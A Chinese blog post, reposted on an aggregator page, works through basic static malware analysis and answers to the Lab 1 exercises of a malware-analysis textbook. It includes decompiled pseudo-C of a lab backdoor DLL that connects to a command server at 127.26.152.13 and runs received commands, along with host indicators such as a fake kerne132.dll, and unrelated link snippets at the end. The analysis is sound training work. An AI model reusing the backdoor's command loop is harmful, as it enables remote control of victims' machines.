静态分析基础技术

2023-11-19

静态分析基础技术

原文链接:https://hvnt3r.top/2019/01/静态分析基础技术/

知识点

我觉得安全圈的思路都是差不多的,跟渗透测试一样,对一个恶意软件的分析也需要前期的信息收集阶段来帮助我们对目标有一个大致的了解和认识,方便确定下一步工作的方向。

**Virus Total:**首先,拿到一个恶意软件如果不涉密的话可以直接上传到VT上看一下,这样差不多能确定此恶意软件的最早爆发日期和各种关键的信息。

哈希值:hash值就相当于恶意软件的指纹,是一个很重要的信息。

**关键字符串:**可以使用IDA Pro或者Strings软件来查看程序中关键的字符串。

**加壳与代码混淆:**一般来说,对软件加壳可以压缩软件代码占用的磁盘空间,使软件体积更小,另一方面,有的壳可以加密程序自身信息,是得程序难以通过逆向手段来对程序进行分析,是对程序本身的一种保护,大部分形况下加壳技术用来保护程序版权,但是恶意软件使用加壳方式来隐藏恶意代码,使得代码逻辑难以分析,这时候就需要我们使用已有的脱壳软件或者自己写脱壳脚本对软件进行脱壳还原。

使用PEview查看IMAGE_SECTION_HEADER.text节头部信息,如果虚拟大小比原始大小大得多,意味着这个程序在内存中占用的空间比在磁盘上多得多,那么这个程序很可能是加壳的程序,.data节是例外。

**PE文件格式:**PE文件格式就不多说了,网上有很多资料,要熟悉PE格式,方便后面的学习。

**静态链接|动态链接|运行时链接|链接库与函数:**程序的导入表和导出表和一些用到的库对我们而言十分重要,静态链接由于重复占用内存因而不常见,运行时链接在正常的程序中一般见不到,但是在恶意软件中可能会出现,至于当需要用到函数的时候才会使用链接,增强了隐蔽性。另外一些Windows API允许调用者导入没有在程序头文件中导入的函数,最常见的两个是LoadLibraryGetProcAddress,有时还可能会出现LdrGetProcAddressLdrLoadDll,当程序中出现这些函数库时,安全人员无法通过静态分析的手法来分析程序链接的函数。

Dependency Walker: 一款可以查看可执行文件动态链接函数的程序,下载链接。

**Resource Hacker:**使用此工具来产看程序的资源节。

导入函数和导出函数是为了提高代码复用性的一种手段,导出函数通常出现在dll文件中,而exe文件中一般没有导出函数,如果发现一个exe文件有很多导出函数的话我们就需要多多留意。

**编译时间:**使用Delphi语言编写的程序有着统一的编译时间:1992年6月19日,所以说,如果有一个程序的编译时间为1992年6月19日,那么这个程序很可能是用Delphi编写的

课后练习

Lab1-1

这个实验使用Lab01-01.exe和Lab01-01.dll文件,使用本章描述的工具和技术来获取关于这些文件的信息。

1.将文件上传至VT进行分析并产看报告,文件匹配到了已有的反病毒文件特征了吗?

按照题目要求上传至VT查看结果即可。

2.这些文件是什么时候编译的?

其实VT上已经显示了此程序的MetaData即元信息:

CodeSize	4096
EntryPoint	0x1820
FileType	Win32 EXE
FileTypeExtension	exe
ImageFileCharacteristics	No relocs, Executable, No line numbers, No symbols, 32-bit
ImageVersion	0.0
InitializedDataSize	8192
LinkerVersion	6.0
MIMEType	application/octet-stream
MachineType	Intel 386 or later, and compatibles
OSVersion	4.0
PEType	PE32
Subsystem	Windows command line
SubsystemVersion	4.0
TimeStamp	2010:12:19 17:16:19+01:00
UninitializedDataSize	0

这里已经显示了程序的编译时间为2010:12:19,另外可以通过软件PEexplore来查看时间戳:

3.这两个文件中是否存在迹象说明他们是否被加壳或者混淆了?如果是,这些迹象在哪里。

VT上显示的结果为此程序加壳,壳是穿山甲(Armadillo)

Packers
PEiD	Armadillo v1.71

但实际山此程序并没有加壳,可能是由于VT是采用机器学习来判断程序是否加壳存在一定的误判率。

.text节表信息:

Name Virtual Address Virtual Size Raw Size Entropy
.text 4096 2416 4096 4.45

PEiD查看查壳发现程序无壳。

4.是否有导入函数显示出这个恶意代码是做什么的?如果是,是哪些导入函数。

我个人习惯直接用IDA Pro查看导入函数:

Lab01-01.exe:

Address	Ordinal	Name	Library
00402000		CloseHandle	KERNEL32
00402004		UnmapViewOfFile	KERNEL32
00402008		IsBadReadPtr	KERNEL32
0040200C		MapViewOfFile	KERNEL32
00402010		CreateFileMappingA	KERNEL32
00402014		CreateFileA	KERNEL32
00402018		FindClose	KERNEL32
0040201C		FindNextFileA	KERNEL32
00402020		FindFirstFileA	KERNEL32
00402024		CopyFileA	KERNEL32
0040202C		malloc	MSVCRT
00402030		exit	MSVCRT
00402034		_exit	MSVCRT
00402038		_XcptFilter	MSVCRT
0040203C		__p___initenv	MSVCRT
00402040		__getmainargs	MSVCRT
00402044		_initterm	MSVCRT
00402048		__setusermatherr	MSVCRT
0040204C		_adjust_fdiv	MSVCRT
00402050		__p__commode	MSVCRT
00402054		__p__fmode	MSVCRT
00402058		__set_app_type	MSVCRT
0040205C		_except_handler3	MSVCRT
00402060		_controlfp	MSVCRT
00402064		_stricmp	MSVCRT

Lab01-01.dll:

Address	Ordinal	Name	Library
10002000		Sleep	KERNEL32
10002004		CreateProcessA	KERNEL32
10002008		CreateMutexA	KERNEL32
1000200C		OpenMutexA	KERNEL32
10002010		CloseHandle	KERNEL32
10002018		_adjust_fdiv	MSVCRT
1000201C		malloc	MSVCRT
10002020		_initterm	MSVCRT
10002024		free	MSVCRT
10002028		strncmp	MSVCRT
10002030	23	socket	WS2_32
10002034	115	WSAStartup	WS2_32
10002038	11	inet_addr	WS2_32
1000203C	4	connect	WS2_32
10002040	19	send	WS2_32
10002044	22	shutdown	WS2_32
10002048	16	recv	WS2_32
1000204C	3	closesocket	WS2_32
10002050	116	WSACleanup	WS2_32
10002054	9	htons	WS2_32

可以看出此应用程序导入表中含有对文件操作的函数,dll文件中有网络连接相关的函数。

5.是否有任何其他文件或基于主机的迹象,让你可以在受感染系统上查找?

通过查看程序中的字符串,很容易可以发现如下字符串:

.data:0040304C NewFileName     db 'C:\windows\system32\kerne132.dll',0
.data:0040304C                                         ; DATA XREF: _main+3AA↑o
.data:0040306D                 align 10h
.data:00403070 dword_403070    dd 6E72654Bh            ; DATA XREF: _main+2DF↑r
.data:00403074 dword_403074    dd 32336C65h            ; DATA XREF: _main+2E7↑r
.data:00403078 byte_403078     db 2Eh                  ; DATA XREF: _main+2F2↑r
.data:00403079                 align 4
.data:0040307C ; CHAR ExistingFileName[]
.data:0040307C ExistingFileName db 'Lab01-01.dll',0    ; DATA XREF: _main+A7↑o
.data:0040307C                                         ; _main+3AF↑o
.data:00403089                 align 4
.data:0040308C ; CHAR FileName[]
.data:0040308C FileName        db 'C:\Windows\System32\Kernel32.dll',0

因此我们可以查看C:\windows\system32\kerne132.dll文件是否存在,这里的kernel的最后的l用数字1代替了。

6.是否有基于网络的迹象,可以用来发现受感染机器上的这个恶意代码?

通过IDA查看dll文件的伪C代码,可以才看到在DllMain()函数中存在如下部分代码用于网络连接:

if ( v3 != -1 )
        {
          name.sa_family = 2;
          *(_DWORD *)&name.sa_data[2] = inet_addr(cp);
          *(_WORD *)name.sa_data = htons(0x50u);
          if ( connect(v3, &name, 16) != -1 )
          {
            while ( send(v3, ::buf, strlen(::buf), 0) != -1 && shutdown(v3, 1) != -1 )
            {
              if ( recv(v3, &buf, 4096, 0) > 0 )
              {
                if ( !strncmp(Str1, &buf, 5u) )
                {
                  Sleep(0x60000u);
                }
                else if ( !strncmp(aExec, &buf, 4u) )
                {
                  memset(&StartupInfo, 0, sizeof(StartupInfo));
                  StartupInfo.cb = 68;
                  CreateProcessA(0, &CommandLine, 0, 0, 1, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation);
                }

通过双击cp可以看到如下结果:

.data:10026010 ; char aExec[]
.data:10026010 aExec           db 'exec',0             ; DATA XREF: DllMain(x,x,x)+15B↑o
.data:10026015                 align 4
.data:10026018 ; char Str1[]
.data:10026018 Str1            db 'sleep',0            ; DATA XREF: DllMain(x,x,x)+136↑o
.data:1002601E                 align 10h
.data:10026020 ; char buf[]
.data:10026020 buf             db 'hello',0            ; DATA XREF: DllMain(x,x,x):loc_100010E9↑o
.data:10026020                                         ; DllMain(x,x,x)+EB↑o
.data:10026026                 align 4
.data:10026028 ; char cp[]
.data:10026028 cp              db '127.26.152.13',0    ; DATA XREF: DllMain(x,x,x)+93↑o
.data:10026036                 align 4
.data:10026038 ; CHAR Name[]
.data:10026038 Name            db 'SADFHUHF',0         ; DATA XREF: DllMain(x,x,x)+38↑o
.data:10026038  

因此我们了解到程序会向地址127.26.152.13建立网络连接,这一点可以作为网络特征。

7.你猜这些文件的目的是什么?

dll文件类似木马程序,可以执行命令或者进入休眠,127.26.152.13相当于C2服务器,exe文件是用来释放安装此dll文件的。

Lab1-2

分析Lab01-02.exe文件。

1.将此文件上传到VT并查看是否有匹配到的反病毒特征。

按照题目要求上传至VT查看结果即可。

2.这个文件是否有加壳或混淆的情况?请指明。如果该文件被加壳,请进行脱壳。

把这个程序丢进IDA看一下发现弹出了一个警告框,提示该程序可能加了壳:

PEiD查壳得知这个壳是UPX

下载UPX脱壳工具使用命令upx -d Lab01-02.exe对程序脱脱壳,脱壳后发现程序由原来的3kb变为了16kb

3.有没有任何导入函数能暗示出这个程序的功能,如果有,这些导入函数是什么,给了你什么信息?

将脱壳后的程序放入IDA中查看导入函数:

Address	Ordinal	Name	Library
00402000		CreateServiceA	ADVAPI32
00402004		StartServiceCtrlDispatcherA	ADVAPI32
00402008		OpenSCManagerA	ADVAPI32
00402010		SystemTimeToFileTime	KERNEL32
00402014		GetModuleFileNameA	KERNEL32
00402018		CreateWaitableTimerA	KERNEL32
0040201C		ExitProcess	KERNEL32
00402020		OpenMutexA	KERNEL32
00402024		SetWaitableTimer	KERNEL32
00402028		WaitForSingleObject	KERNEL32
0040202C		CreateMutexA	KERNEL32
00402030		CreateThread	KERNEL32
00402038		_exit	MSVCRT
0040203C		_XcptFilter	MSVCRT
00402040		exit	MSVCRT
00402044		__p___initenv	MSVCRT
00402048		__getmainargs	MSVCRT
0040204C		_initterm	MSVCRT
00402050		__setusermatherr	MSVCRT
00402054		_adjust_fdiv	MSVCRT
00402058		__p__commode	MSVCRT
0040205C		__p__fmode	MSVCRT
00402060		__set_app_type	MSVCRT
00402064		_except_handler3	MSVCRT
00402068		_controlfp	MSVCRT
00402070		InternetOpenUrlA	WININET
00402074		InternetOpenA	WININET

其中有一些创建服务的函数CreateService和打开一个URL的网络操作函数InternetOpenUrl需要我们注意。

4.有哪些基于主机或者网络的特征可以被用来确定被这个恶意代码所感染的机器?

通过IDA分析发现程序指定的URL为:

http://www.malwareanalysisbook.com

程序会在计算机上创建一个名为MalService的服务,且程序会创建一个互斥量HGL345

可通过如上特征确定被此恶意代码感染的机器。

Lab1-3

分析Lab01-03.exe文件。

1.将此文件上传到VT并查看是否有匹配到的反病毒特征。

按照题目要求上传至VT查看结果即可。

2.这个文件是否有加壳或混淆的情况?请指明。如果该文件被加壳,请进行脱壳。

用IDA打开此文件时同样弹窗警告该文件可能已被加壳,用PEiD无法识别程序的壳。

3.有没有任何导入函数能暗示出这个程序的功能,如果有,这些导入函数是什么,给了你什么信息?

暂时上不了网,这个先放一放。

4.有哪些基于主机或者网络的特征可以被用来确定被这个恶意代码所感染的机器?

暂未脱壳

Lab1-4

分析Lab01-04.exe文件。

1.将此文件上传到VT并查看是否有匹配到的反病毒特征。

按照题目要求上传至VT查看结果即可。

2.这个文件是否有加壳或混淆的情况?请指明。如果该文件被加壳,请进行脱壳。

此程序没有加壳迹象。

3.这个文件是什么时候被编译的?

PE Explore显示此程序的编译时间是2019年8月30日,显然这个时间戳是被人为修改过的。

4.有没有任何导入函数能暗示出这个程序的功能,如果有,这些导入函数是什么,给了你什么信息?

Address	Ordinal	Name	Library
00402000		OpenProcessToken	ADVAPI32
00402004		LookupPrivilegeValueA	ADVAPI32
00402008		AdjustTokenPrivileges	ADVAPI32
00402010		GetProcAddress	KERNEL32
00402014		LoadLibraryA	KERNEL32
00402018		WinExec	KERNEL32
0040201C		WriteFile	KERNEL32
00402020		CreateFileA	KERNEL32
00402024		SizeofResource	KERNEL32
00402028		CreateRemoteThread	KERNEL32
0040202C		FindResourceA	KERNEL32
00402030		GetModuleHandleA	KERNEL32
00402034		GetWindowsDirectoryA	KERNEL32
00402038		MoveFileA	KERNEL32
0040203C		GetTempPathA	KERNEL32
00402040		GetCurrentProcess	KERNEL32
00402044		OpenProcess	KERNEL32
00402048		CloseHandle	KERNEL32
0040204C		LoadResource	KERNEL32
00402054		_snprintf	MSVCRT
00402058		_exit	MSVCRT
0040205C		_XcptFilter	MSVCRT
00402060		exit	MSVCRT
00402064		__p___initenv	MSVCRT
00402068		__getmainargs	MSVCRT
0040206C		_initterm	MSVCRT
00402070		__setusermatherr	MSVCRT
00402074		_adjust_fdiv	MSVCRT
00402078		__p__commode	MSVCRT
0040207C		__p__fmode	MSVCRT
00402080		__set_app_type	MSVCRT
00402084		_except_handler3	MSVCRT
00402088		_controlfp	MSVCRT
0040208C		_stricmp	MSVCRT

根据以上的部分函数,猜测此程序可以创建文件,进行进程的操作还可以进行权限Privilege的修改

5.有哪些基于主机或者网络的特征可以被用来确定被这个恶意代码所感染的机器?

代码data节含有如下重要信息:

.data:0040302C aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_401174+1B↑o
.data:0040303D                 align 10h
.data:00403040 ; CHAR LibFileName[]
.data:00403040 LibFileName     db 'sfc_os.dll',0       ; DATA XREF: sub_401174+2F↑o
.data:0040304B                 align 4
.data:0040304C aSystem32Wupdmg db '\system32\wupdmgr.exe',0
.data:0040304C                                         ; DATA XREF: sub_4011FC+7D↑o
.data:00403062                 align 4
.data:00403064 ; char Format[]
.data:00403064 Format          db '%s%s',0             ; DATA XREF: sub_4011FC+89↑o
.data:00403069                 align 4
.data:0040306C ; CHAR Type[]
.data:0040306C Type            db 'BIN',0              ; DATA XREF: sub_4011FC+AE↑o
.data:00403070 ; CHAR Name[]
.data:00403070 Name            db '#101',0             ; DATA XREF: sub_4011FC+B3↑o
.data:00403075                 align 4
.data:00403078 ; CHAR ProcName[]
.data:00403078 ProcName        db 'EnumProcessModules',0
.data:00403078                                         ; DATA XREF: _main+5A↑o
.data:0040308B                 align 4
.data:0040308C ; CHAR aPsapiDll[]
.data:0040308C aPsapiDll       db 'psapi.dll',0        ; DATA XREF: _main+5F↑o
.data:00403096                 align 4
.data:00403098 ; CHAR aGetmodulebasen[]
.data:00403098 aGetmodulebasen db 'GetModuleBaseNameA',0
.data:00403098                                         ; DATA XREF: _main+76↑o
.data:004030AB                 align 4
.data:004030AC ; CHAR aPsapiDll_0[]
.data:004030AC aPsapiDll_0     db 'psapi.dll',0        ; DATA XREF: _main+7B↑o
.data:004030B6                 align 4
.data:004030B8 ; CHAR aEnumprocesses[]
.data:004030B8 aEnumprocesses  db 'EnumProcesses',0    ; DATA XREF: _main+92↑o
.data:004030C6                 align 4
.data:004030C8 ; CHAR aPsapiDll_1[]
.data:004030C8 aPsapiDll_1     db 'psapi.dll',0        ; DATA XREF: _main+97↑o
.data:004030D2                 align 4
.data:004030D4 aSystem32Wupdmg_0 db '\system32\wupdmgr.exe',0
.data:004030D4                                         ; DATA XREF: _main+1C8↑o
.data:004030EA                 align 4
.data:004030EC ; char aSS_0[]
.data:004030EC aSS_0           db '%s%s',0             ; DATA XREF: _main+1D4↑o
.data:004030F1                 align 4
.data:004030F4 aWinupExe       db '\winup.exe',0       ; DATA XREF: _main+200↑o
.data:004030FF                 align 10h
.data:00403100 ; char aSS_1[]
.data:00403100 aSS_1           db '%s%s',0             ; DATA XREF: _main+20C↑o
.data:00403105                 align 10h
.data:00403110 dword_403110    dd 1                    ; DATA XREF: start+6E↑r
.data:00403114                 align 10h

根据以上信息和汇编代码猜测病毒会在\system32目录下创建wupdmgr.exe文件,并尝试执行此程序,如果执行成功,则函数sub_401174返回0

还有一个隐藏在资源节的PE文件,用二进制模式打开后可以看到如下文本

6.这个文件在资源段包含一个资源。使用Resource Hacker工具来检查资源,然后抽取资源。从资源中你能发现什么吗?

使用Resource Hacker可以发现该程序的资源节存在一个可执行程序,程序指向一个网址并从该网址下载文件,但下载的文件内容未知。


本章结束?

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

静态分析基础技术 的相关文章

随机推荐

  • linux ping不通本机(windows),而本机(windows)却能ping通linux

    如果本机可以ping通linux虚拟机 虚拟机的配置又没有其他问题 可以尝试关闭本机防火墙 关闭步骤也可以直接将防火墙关闭 找到两个Ipv4 linux可以ping通本机 外网也可以联了
  • vue中使用vuedraggable实现拖拽分组功能

    vue中实现拖拽分组功能 首先需要实现拖拽功能需要先了解一个组件 vue draggable 附上文档 vue draggable中文文档 先看效果 1 使用命令安装插件 yarn add vuedraggable或者 npm i S vu
  • ORA-01438处理方法

    我的学习过程 今天公司的同事告诉我生产系统出现了ORA 01438错误如下 ORA 01438 value larger than specified precision allowed for this column 由于定位不到具体的表
  • 从 Java 到 Go:构建一个博客系统后端

    目录 1 从 Java 到 Go 基本概念 1 1 包和导入 1 2 变量 常量和类型 1 3 函数和方法
  • C++PrimerPlus 第二章 开始学习C++(复习题含答案)

    C PrimerPlus 第二章 开始学习C 复习题含答案 1 C 程序的模块叫什么 它们叫作函数 2 下面的预处理器编译指令是做什么用的 include lt iostream gt 这将导致在最终的编译之前 使用iostream文件的内
  • unity木船模型,古代帆船模型,古船

    unity木船模型 模型如下图所示 下载链接在文末 点我下载资源 https download csdn net download weixin 43474701 64876331
  • Ant Design Pro 从零到一教程

    说在最前面的话 可是能全网唯一适合小白的antd教程 因为我找了接近一个周的教程 无论是视频 博客等等都没有比较完整的教程 所以才说这可能是唯一全网适合小白教程 文章末有相关学习链接 适用人群 喜欢看文字或者代码学习的人 学习的人掌握基本的
  • 大数据毕设项目 大数据旅游数据分析可视化系统 - python

    文章目录 0 前言 1 课题背景 2 数据处理 3 数据可视化工具 3 1 django框架介绍 3 2 ECharts 4 Django使用echarts进行可视化展示 mysql数据库 4 1 修改setting py连接mysql数据
  • PPT 生成整数序列字典序的r-组合算法

    生成整数序列字典序的r 组合算法 一 PPT效果展示 二 问题 2 1 简述 2 2 算法简述 2 3 例子 三 PPT实现 一 PPT效果展示 二 问题 2 1 简述 给定一个整数序列 1 2 3 n 输出其所有字典序的r 组合 注意事项
  • C# 参数按照ASCII码从小到大排序MD5加密

    region 1 获取参数GetSignParamSrc
  • c++汉诺塔蓝桥杯

    总时间限制 10000ms 单个测试点时间限制 1000ms 内存限制 262144kB 描述 小蓝很喜欢玩汉诺塔游戏 游戏中有三根柱子 开始时第一根柱子上有 n 个圆盘 从上到下圆盘的大小依次为 1 到 n 每次 可以将一个盘子从一根柱子
  • 网页引用Font Awesome图标

    方法一 demo html
  • 第二天:Struts2入门

    第一个Struts2入门案例 Struts2的下载与安装 源码下载地址 http struts apache org download cgi 源码目录结构说明 apps 框架本身提供一些案例 学习 docs 框架本身提供的文档 指南和AP
  • angular:ng build默认文件带hash值,可以防止cdn缓存导致用户文件不能刷新

    问题 如题 说明 cdn缓存了文件 如果是同一个名称文件 如果不手动清除cdn缓存 则用户获取的是旧的 而不是新的 因此如果前端打包在文件加上hash 这样文件有变动 用户会获取新文件
  • 自动驾驶数据闭环,要么被高估了,要么被低估了?

    在和身边的人沟通自动驾驶的数据闭环时 会碰到两类典型的人 第一类 当你给他讲数据闭环的时候 他的眼神是迷茫的 好像没有引起太多的重视和共鸣 甚至有人会反馈 嗯 这个没什么 我们以前干的差不多 第二类 他会觉得数据闭环 能解决一切问题 而且
  • mysql 新版本出现group by 语句不兼容问题

    原文地址 http www cnblogs com anstoner p 6414440 html 注 文中的方式 我只是用了修改sql mode 的方法 其它的未尝试 全文如下 目录 1 具体出错提示 1 1 1 查看sql mode 1
  • Java Web快速开发(1)Java 项目构建

    文章目录 Java 项目构建 1 Java 版本发展 2 集成开发环境 3 Java发布形式 1 扩展参数说明 2 JVM 内存回收机制 3 Java 程序分析调测工具 4 Maven Java 项目构建 1 Java 版本发展 EJB E
  • 流媒体之推流和拉流

    推流 将直播内容推送至服务器的过程 拉流 为服务器已有直播内容 用指定地址进行拉取的过程 什么是推流 推流 指的是把采集阶段封包好的内容传输到服务器的过程 其实就是将现场的视频信号传到网络的过程 推流 对网络要求比较高 如果网络不稳定 直播
  • QPixmap的深拷贝和浅拷贝

    在最近的项目中用到了QPixmap 涉及多线程操作QPixmap对象 为了简单 比如在线程1中构造了一个QPixmap对象 传入线程2 这时调用的函数为operator const QPixmap pixmap 对于不了解QPixmap类的
  • 静态分析基础技术

    静态分析基础技术 原文链接 https hvnt3r top 2019 01 静态分析基础技术 知识点 我觉得安全圈的思路都是差不多的 跟渗透测试一样 对一个恶意软件的分析也需要前期的信息收集阶段来帮助我们对目标有一个大致的了解和认识 方便